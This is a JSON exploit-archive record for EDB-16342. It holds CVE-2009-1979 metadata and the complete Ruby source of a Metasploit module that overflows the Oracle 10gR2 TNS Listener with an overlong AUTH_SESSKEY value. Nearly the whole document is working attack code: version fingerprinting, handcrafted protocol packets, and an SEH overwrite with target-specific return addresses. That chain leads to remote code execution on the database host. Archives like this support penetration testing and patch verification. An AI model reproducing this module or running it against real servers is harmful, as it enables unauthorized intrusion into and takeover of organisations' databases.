{"exploit":{"id":"EDB-16342","name":"Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)","description":"Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)","cves":["CVE-2009-1979"],"author":"Metasploit","published":"2010-11-24","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16342","path":"exploits/windows/remote/16342.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16342.rb","vulnerabilities":[{"id":"CVE-2009-1979","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Network Authentication component in Oracle Database 10.1.0.5 and 10.2.0.4 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2009 CPU. Oracle has not commented on claims from an independent researcher that this is related to improper validation of the AUTH_SESSKEY parameter length that leads to arbitrary code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1979","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1979"},"updatedAt":"2024-08-07T05:36:20.587Z","retrievedAt":"2026-11-26T18:15:32.722Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16342.png?v=2","url":"https://exploitbin.com/exploits/EDB-16342","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16342/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16342/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::TNS\n\tinclude Msf::Exploit::Remote::Seh\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits a stack buffer overflow in Oracle. When\n\t\t\t\tsending a specially crafted packet containing a long AUTH_SESSKEY value\n\t\t\t\tto the TNS service, an attacker may be able to execute arbitrary code.\n\t\t\t},\n\t\t\t'Author'         => [ 'jduck' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 11128 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2009-1979'],\n\t\t\t\t\t[ 'OSVDB', '59110'],\n\t\t\t\t\t[ 'BID', '36747'],\n\t\t\t\t\t[ 'URL', 'http://blogs.conus.info/node/28' ],\n\t\t\t\t\t[ 'URL', 'http://blogs.conus.info/node/35' ],\n\t\t\t\t\t[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'seh',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 0x17e,\n\t\t\t\t\t'BadChars' => \"\", # none, thx memcpy!\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Automatic', { } ],\n\n\t\t\t\t\t[ 'Oracle 10.2.0.1.0 Enterprise Edition',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t# Untested\n\t\t\t\t\t\t\t'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'Oracle 10.2.0.4.0 Enterprise Edition',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t# Tested OK - 2010-Jan-20 - jduck\n\t\t\t\t\t\t\t'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t'DefaultTarget' => 0,\n\t\t\t'DisclosureDate' => 'Oct 20 2009'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(1521)\n\t\t\t], self.class)\n\tend\n\n\n\tdef check\n\t\tversion = tns_version\n\t\tif (not version)\n\t\t\traise RuntimeError, \"Unable to detect version!\"\n\t\tend\n\t\tprint_status(\"Oracle version reply: \" + version)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\\.2\\.0\\.1\\.0/)\n\t\treturn Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\\.2\\.0\\.4\\.0/)\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\n\tdef exploit\n\n\t\tmytarget = nil\n\t\tif target.name =~ /Automatic/\n\t\t\tprint_status(\"Attempting automatic target detection...\")\n\n\t\t\tversion = tns_version\n\t\t\tif (not version)\n\t\t\t\traise RuntimeError, \"Unable to detect version!\"\n\t\t\tend\n\n\t\t\tif (version =~ /32-bit Windows: Version 10\\.2\\.0\\.1\\.0/)\n\t\t\t\tmytarget = targets[1]\n\t\t\telsif (version =~ /32-bit Windows: Version 10\\.2\\.0\\.4\\.0/)\n\t\t\t\tmytarget = targets[2]\n\t\t\tend\n\n\t\t\tif (not mytarget)\n\t\t\t\traise RuntimeError, \"Unable to automatically detect the target\"\n\t\t\tend\n\n\t\t\tprint_status(\"Automatically detected target \\\"#{mytarget.name}\\\"\")\n\t\telse\n\t\t\tmytarget = target\n\n\t\t\tprint_status(\"Attacking using target \\\"#{mytarget.name}\\\"\")\n\t\tend\n\n\n\t\tusername = rand_text_alphanumeric(0x1c)\n\n\t\tconnect\n\n\t\tprint_status(\"Sending NSPTCN packet ...\")\n\t\tconnect_data = \"\" +\n\t\t\t\"(DESCRIPTION=\" +\n\t\t\t\t\"(CONNECT_DATA=\" +\n\t\t\t\t\t\"(SERVICE_NAME=orcl)\" +\n\t\t\t\t\t\"(CID=\" +\n\t\t\t\t\t\t\"(PROGRAM=client.exe)\" +\n\t\t\t\t\t\t\"(HOST=client_host)\" +\n\t\t\t\t\t\")\" +\n\t\t\t\t\")\" +\n\t\t\t\t\"(ADDRESS=\" +\n\t\t\t\t\t\"(PROTOCOL=TCP)\" +\n\t\t\t\t\t\"(PORT=1521)\" +\n\t\t\t\t\")\" +\n\t\t\t\")\"\n\t\tnsptcn_pkt = tns_packet(connect_data)\n\t\tsock.put(nsptcn_pkt)\n\n\t\t# read NSPTRS (expecting 8 bytes)\n\t\tres = sock.get_once(-1, 1)\n\t\t#print_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\n\t\tprint_status(\"Re-sending NSPTCN packet ...\")\n\t\tsock.put(nsptcn_pkt)\n\n\t\t# read NSPTAC (expecting 32 bytes)\n\t\tbegin\n\t\t\tres = sock.get_once(-1, 1)\n\t\trescue ::Errno::ECONNRESET, EOFError\n\t\t\traise RuntimeError, \"OOPS, maybe the service hasn't started completely yet, try again...\"\n\t\tend\n\t\t#print_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\n\t\t# send NA\n\t\tprint_status(\"Sending NA packet ...\")\n\t\tna_stuff = [0xdeadbeef].pack('N') +\n\t\t\t\"\\x00\\x92\" +\n\t\t\t\"\\x0B\\x10\\x06\\x00\\x00\\x04\\x00\\x00\\x04\\x00\\x03\\x00\\x00\\x00\\x00\\x00\" +\n\t\t\t\"\\x04\\x00\\x05\\x0B\\x10\\x06\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x0A\\xF8\\x71\" +\n\t\t\t\"\\xC2\\x6C\\xE1\\x00\\x12\\x00\\x01\\xDE\\xAD\\xBE\\xEF\\x00\\x03\\x00\\x00\\x00\" +\n\t\t\t\"\\x04\\x00\\x04\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x01\\x00\\x03\\x00\\x00\\x00\" +\n\t\t\t\"\\x00\\x00\\x04\\x00\\x05\\x0B\\x10\\x06\\x00\\x00\\x02\\x00\\x03\\xE0\\xE1\\x00\" +\n\t\t\t\"\\x02\\x00\\x06\\xFC\\xFF\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\" +\n\t\t\t\"\\x05\\x0B\\x10\\x06\\x00\\x00\\x0C\\x00\\x01\\x00\\x11\\x06\\x10\\x0C\\x0F\\x0A\" +\n\t\t\t\"\\x0B\\x08\\x02\\x01\\x03\\x00\\x03\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\" +\n\t\t\t\"\\x05\\x0B\\x10\\x06\\x00\\x00\\x03\\x00\\x01\\x00\\x03\\x01\"\n\t\tna_pkt = nsptda_packet(na_stuff)\n\t\tsock.put(na_pkt)\n\n\t\t# read response (expecting 127 bytes)\n\t\tres = sock.get_once(-1, 1)\n\t\t#print_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\n\t\t# send TTIPRO\n\t\tprint_status(\"Sending TTIPRO packet ...\")\n\t\tttipro_stuff = \"\\x01\\x06\\x05\\x04\\x03\\x02\\x01\\x00\" +\n\t\t\t\"IBMPC/WIN_NT-8.1.0\" +\n\t\t\t\"\\x00\"\n\t\tttipro_pkt = nsptda_packet(ttipro_stuff)\n\t\tsock.put(ttipro_pkt)\n\n\t\t# read response (expecting 179 bytes)\n\t\tres = sock.get_once(-1, 1)\n\t\t#print_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\n\t\t# send TTIDTY\n\t\tprint_status(\"Sending TTIDTY packet ...\")\n\t\tttidty_stuff = \"\\x02\\xB2\\x00\\xB2\\x00\\xD2\" +\n\t\t\t\"\\x25\\x06\\x01\\x01\\x01\\x0D\\x01\\x01\\x05\\x01\\x01\\x01\\x01\\x01\\x01\\x01\" +\n\t\t\t\"\\x7F\\xFF\\x03\\x09\\x03\\x03\\x01\\x00\\x7F\\x01\\x1F\\xFF\\x01\\x03\\x01\\x01\" +\n\t\t\t\"\\x3F\\x01\\x01\\x05\\x00\\x01\\x07\\x02\\x01\\x00\\x00\\x18\\x00\\x01\\x80\\x00\" +\n\t\t\t\"\\x00\\x00\\x3C\\x3C\\x3C\\x80\\x00\\x00\\x00\\xD0\\x07\"\n\t\tttidty_pkt = nsptda_packet(ttidty_stuff)\n\t\tsock.put(ttidty_pkt)\n\n\t\t# read response (expecting 22 bytes)\n\t\tres = sock.get_once(-1, 1)\n\t\t#print_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\n\t\t# send first auth pkt (call OSESSKEY)\n\t\tprint_status(\"Calling OSESSKEY ...\")\n\t\tparams = []\n\t\tdtyauth_pkt = dtyauth_packet(0x76, username, 1, params)\n\t\tsock.put(dtyauth_pkt)\n\n\t\t# read RPA (expecting 225 bytes)\n\t\tres = sock.get_once(-1, 1)\n\t\t#print_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\n\t\t# build exploit buffer\n\t\tprint_status(\"Calling kpoauth with long AUTH_SESSKEY ...\")\n\t\tsploit = payload.encoded\n\t\tsploit << rand_text_alphanumeric(0x19a - 0x17e)\n\t\tsploit << generate_seh_record(mytarget.ret)\n\t\tdistance = payload_space + 8 + 5\n\t\tsploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $-\" + distance.to_s).encode_string\n\n\t\t# ensure bad ptr is derefed\n\t\tvalue = rand(0x3fffffff) | 0xc0000000\n\t\tsploit[0x17e,4] = [value].pack('V')\n\n\t\t# send overflow trigger packet (call kpoauth)\n\t\tparams = []\n\t\tparams << {\n\t\t\t'Name'   => 'AUTH_SESSKEY',\n\t\t\t'Value'  => sploit,\n\t\t\t'Flag'   => 1\n\t\t}\n\t\tdtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)\n\t\tsock.put(dtyauth_pkt)\n\n\t\t# expecting disconnect...\n\t\tif (res = sock.get_once(-1, 1))\n\t\t\tprint_status((\"received %u bytes:\\n\" % res.length) + Rex::Text.to_hex_dump(res))\n\t\t\traise RuntimeError, \"Try to run the exploit again.. If that doesn't work, the target host may be patched :-/\"\n\t\tend\n\n\t\thandler\n\t\tdisconnect\n\tend\n\n\n\tdef tns_version\n\t\tconnect\n\t\tversion = \"(CONNECT_DATA=(COMMAND=VERSION))\"\n\t\tpkt = tns_packet(version)\n\t\tsock.put(pkt)\n\t\tsock.get_once\n\t\tres = sock.get_once(-1, 1)\n\t\tdisconnect\n\t\treturn res\n\tend\n\n\n\tdef nsptda_packet(data)\n\t\tpkt = [data.length + 10].pack('n')    # NSPHDLEN\n\t\tpkt << [0].pack('n')                  # NSPHDPSM\n\t\tpkt << [6].pack('C')                  # pkt type\n\t\tpkt << [0].pack('C')                  # reserved\n\t\tpkt << [0].pack('n')                  # NSPHDHSM\n\t\tpkt << [0].pack('n')                  # NSPDAFLG\n\t\tpkt << data\n\t\treturn pkt\n\tend\n\n\n\tdef dtyauth_packet(opi, user, flag, params)\n\t\tdunno = 2\n\t\tdunno = 3 if opi == 0x73\n\n\t\tpkt = [3, opi, dunno].pack('CCC')\n\n\t\tpkt << [-2].pack('V')\n\t\tpkt << [user.length].pack('V')\n\t\tpkt << [flag].pack('V')\n\n\t\tpkt << [-2].pack('V')\n\t\tpkt << [params.length].pack('V')\n\t\tpkt << [-2].pack('V')\n\t\tpkt << [-2].pack('V')\n\n\t\tpkt << [user.length].pack('C')\n\t\tpkt << user\n\n\t\tparams.each { |param|\n\t\t\tname = param['Name']\n\t\t\tpkt << [name.length].pack('V')\n\t\t\tpkt << [name.length].pack('C')\n\t\t\tpkt << name\n\n\t\t\tval = param['Value']\n\t\t\tpkt << [val.length].pack('V')\n\t\t\tif (val.length > 0)\n\t\t\t\tif (val.length > 0xff)\n\t\t\t\t\tpkt << chunkify(val)\n\t\t\t\telse\n\t\t\t\t\tpkt << [val.length].pack('C')\n\t\t\t\t\tpkt << val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tflag = param['Flag']\n\t\t\tpkt << [flag].pack('V')\n\t\t}\n\t\treturn nsptda_packet(pkt)\n\tend\n\n\n\tdef chunkify(buf)\n\t\tret = \"\"\n\t\tif buf.length > 0xff\n\t\t\tret << \"\\xfe\"\n\n\t\t\twhile (buf.length > 0xff)\n\t\t\t\tret << \"\\xff\"\n\t\t\t\tret << buf.slice!(0, 0xff)\n\t\t\tend\n\t\t\tif buf.length > 0\n\t\t\t\tret << [buf.length].pack('C')\n\t\t\t\tret << buf\n\t\t\tend\n\n\t\t\tret << \"\\x00\"\n\t\telse\n\t\t\tret << [buf.length].pack('C')\n\t\t\tret << buf\n\t\tend\n\t\treturn ret\n\tend\n\nend","sha256":"6b9c4ca0a646464889c2158f84624fe667d079056f9cf95ca7eeb5c5bdc8f172","bytes":9013,"fetchedAt":"2026-11-26T21:08:58.455Z","encoding":"utf-8 (display only; download retains original bytes)"}